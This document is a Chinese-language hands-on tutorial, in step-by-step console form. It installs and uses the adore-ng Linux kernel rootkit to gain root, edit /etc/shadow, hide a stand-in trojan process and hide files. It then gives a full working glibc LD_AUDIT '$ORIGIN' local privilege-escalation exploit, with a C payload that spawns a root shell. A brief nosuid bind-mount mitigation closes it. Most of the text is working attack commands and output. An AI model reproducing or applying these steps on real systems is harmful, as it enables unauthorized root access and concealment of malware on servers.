官网:https://github.com/trimpsyw/adore-ng
安装:
[[email protected] ~]# unzipadore-ng-master.zip
[[email protected] ~]# cdadore-ng-master
[[email protected] adore-ng-master]#rpm -ivh/mnt/Packages/kernel-devel-2.6.32-220.el6.x86_64.rpm
yum install gcc*
[[email protected]]# make
[[email protected]]# insmod adore-ng.ko #加载模块
测试,查看帮助:
[[email protected]]# ./ava -h
Usage: ./ava {h,u,r,R,i,v,U}[file or PID]
I print info (secret UID etc)
h hide file #隐藏文件
u unhide file
r execute as root #可以提权,以root身份运行程序
R remove PID forever
U uninstall adore
i make PID invisible #隐藏进程。隐藏你的木马程序
v make PID visible
测试:准备环境,创建一个普通用户于测试。然后在普通用户上,通过ava命令,提权后,以root身份运行一个进程。
提权:提高自己在服务器中的权限。
[[email protected] ~]# useradd tree
[[email protected] ~]# echo 123456| passwd --stdin tree
Changing password for usertree
passwd: all authenticationtokens updated successfully.
例1: 通过ava命令提权。让普通用户tree可以获得root权限
[[email protected]]# cp -r /root/adore-ng-master /tmp/
[[email protected]]# chmod 777 /tmp/adore-ng-master/ -R
[[email protected] adore-ng-master]#ssh [email protected] #以普通帐号登录
[[email protected] ~]$ cd/tmp/adore-ng-master/
[[email protected]]$ pwd
/tmp/adore-ng-master
[[email protected] adore-ng-master]$./ava I #查看基本信息,能弹出以下信息说明程序运行正常
56,500,500,56
Adore 1.56 installed. Goodluck.
ELITE_UID: 2618748389,ELITE_GID=4063569279, ADORE_KEY=fgjgggfd CURRENT_ADORE=56
实战: r 选项: execute as root #以root身份运行程序
[[email protected] adore-ng-master]$ll /etc/shadow
---------- 1 root root 1071Apr 7 10:17 /etc/shadow
[[email protected] adore-ng-master]$vim /etc/shadow
[[email protected] adore-ng-master]$ ./ava r vim /etc/shadow #编辑时,可以写入一些内容,测试是否可以正常写入
查看修改成功:
[[email protected] ~]# vim/etc/shadow
另外,在别一个终端上查看,此进程的用户身份:
[[email protected] ~]# ps -axu | grep shadow
Warning: bad syntax, perhaps abogus ‘-‘? See /usr/share/doc/procps-3.2.7/FAQ
root 6874 0.1 0.1 10216 2924 pts/3 S+ 04:12 0:00 /usr/bin/vim /etc/shadow
root 6879 0.0 0.0 4024 692 pts/2 S+ 04:12 0:00 grep shadow
留后门,不让人看见?
实战2: 隐藏进程。隐藏你的木马程序
模拟一个木马程序:
[[email protected]]$ cat a.sh
#!/bin/bash
sleep 2000
[[email protected]]$ chmod +x a.sh
[[email protected]]$ ./a.sh &
查看:
[[email protected] ~]# ps-axu | grep a.sh
Warning: bad syntax,perhaps a bogus ‘-‘? See /usr/share/doc/procps-3.2.8/FAQ
tree 6339 0.0 0.1 106148 1184 pts/3 S 10:32 0:00 /bin/bash ./a.sh
隐藏进程
[[email protected]]$ ./ava i 6339 #隐藏进程
56,500,500,56
Adore 1.56 installed. Goodluck.
Made PID 6339 invisible.
[[email protected] ~]# ps -axu |grep a.sh #查看
Warning: bad syntax, perhaps abogus ‘-‘? See /usr/share/doc/procps-3.2.8/FAQ
root 10225 0.0 0.0 103300 852 pts/4 S+ 22:54 0:00 grep a.sh
实战3: 隐藏文件
[[email protected] adore-ng-master]$mkdir test
[[email protected] adore-ng-master]$cd test/
[[email protected] test]$ echo aaaa >a.php
[[email protected] test]$ ls -a
. .. a.php
隐藏文件
[[email protected] test]$/tmp/adore-ng-master/ava h a.php
56,500,500,56
Adore 1.56 installed. Goodluck.
File ‘a.php‘ is now hidden.
查看:
[[email protected] test]$ ls -a
. ..
[[email protected] test]$ cat a.php
aaaa
尝试:查找最近被的修改的文件
[[email protected] test]$touch b.php
[[email protected] test]$ ls
b.php
[[email protected] test]$find ./ -mtime -2
./
./b.php #找不到出来
有没有办法查看到a.php : 没有。 除非把rootkit木马程序关了
恢复出来:
[[email protected] test]$/tmp/adore-ng-master/ava u a.php
56,500,500,56
Adore 1.56 installed. Goodluck.
File ‘a.php‘ is now visible.
[[email protected] test]$ ls -a
. .. a.php
总结:
1、通过rootkit提权
2、通过rootkit隐藏木马进程号
3、通过rootkit隐藏木马文件
创建一个让root用户都删除不了的木马文件
[[email protected] ~]#lsattr b.txt
----i--------e- b.txt
[[email protected] ~]#chattr -i b.txt
[[email protected] ~]# rm-rf b.txt
实战2:Linux下普通用户提权
提权:你听不懂。 听深度,后期自己能做出来效果就可以
提权: 从普通用户提升到root权限
注:RHEL5到RHEL6.0 32位操作系统和64位操作系统都存在以下漏洞。
利用glibc库的漏洞,提权。
以一个普通用户登录
[[email protected] ~]# su -mk
[[email protected] ~]$
suid : 当用户执行时命令a时,会以命令a的拥有者身份运行此命令。
[[email protected] ~]$ cd/tmp/
[[email protected] tmp]$ls -ld /tmp/
drwxrwxrwt 11 root root4096 10-14 21:29 /tmp/
[[email protected] tmp]$cd /tmp/
[[email protected] tmp]$mkdir exploit //随便在tmp目录下创建一个文件夹exploit:利用
[[email protected]]$ ll /bin/ping
-rwsr-xr-x 1 root root35832 Apr 24 2009 /bin/ping
[[email protected] tmp]$ln /bin/ping /tmp/exploit/target //创建/bin/ping 的一个硬链接,硬链接的名随便起
[[email protected] tmp]$exec 3< /tmp/exploit/target
[[email protected] tmp]$ls -l /proc/$$/fd/3
lr-x------ 1 hellohello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target
[[email protected] tmp]$rm -fr /tmp/exploit/
[[email protected] tmp]$ls -l /proc/$$/fd/3 //查看链接已经被删除
lr-x------ 1 hellohello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)
[[email protected] tmp]$cat payload.c //写一个C语言程序
void__attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
[[email protected] tmp]$gcc -w -fPIC -shared -o /tmp/exploit payload.c //编译C程序
[[email protected] tmp]$ls -l /tmp/exploit
-rwxrwxr-x 1 hellohello 4223 10-20 09:32 /tmp/exploit
[[email protected] tmp]$whoami
mk
[[email protected] tmp]$LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[[email protected] tmp]#whoami
root
在RHEL6.1尝试时,前面几条命令都可以执行成功,在执行最后这条命令时报以下错误,并直接使用普通用户退出登录。
提示:对像$ORIGIN不能被作为审计接口加载
无法打开共享文件ject ;忽略
解决方法:
对 777 的目录做如下操作 , 可以控制你提权的 . 比如/tmp
# mount -o bind,nosuid/tmp /tmp
还需要把用户的家目录也用上面的方法打上补丁:
[[email protected] ~]#mount -o bind,nosuid /home/mk /home/mk
修改就不行了,执行ln命令时提示以下错误。
[[email protected] ~]# su -mk
[[email protected] ~]$ ln/bin/ping /tmp/ping
ln: creating hard link`/tmp/ping‘ => `/bin/ping‘: Invalid cross-device link
#报错,创建硬链接时,报错,无效的跨设备连接
注:查找权限是777的文件夹:
[email protected] ~]# find/ -perm -777 -type d
/var/tmp
/dev/.mdadm
/dev/.udev
/dev/.udev/rules.d
/dev/shm
find:`/proc/9346/task/9346/fd/5‘: No such file or directory
find:`/proc/9346/task/9346/fdinfo/5‘: No such file or directory
find:`/proc/9346/fd/5‘: No such file or directory
find: `/proc/9346/fdinfo/5‘:No such file or directory
/tmp
/tmp/VMwareDnD
/tmp/.ICE-unix
/tmp/.X11-unix
普通用户的家目录/home/普通用户
注:
-perm mode:文件权限正好符合mode
-perm +mode:文件权限部分符合mode
-perm -mode: 文件权限完全符合mode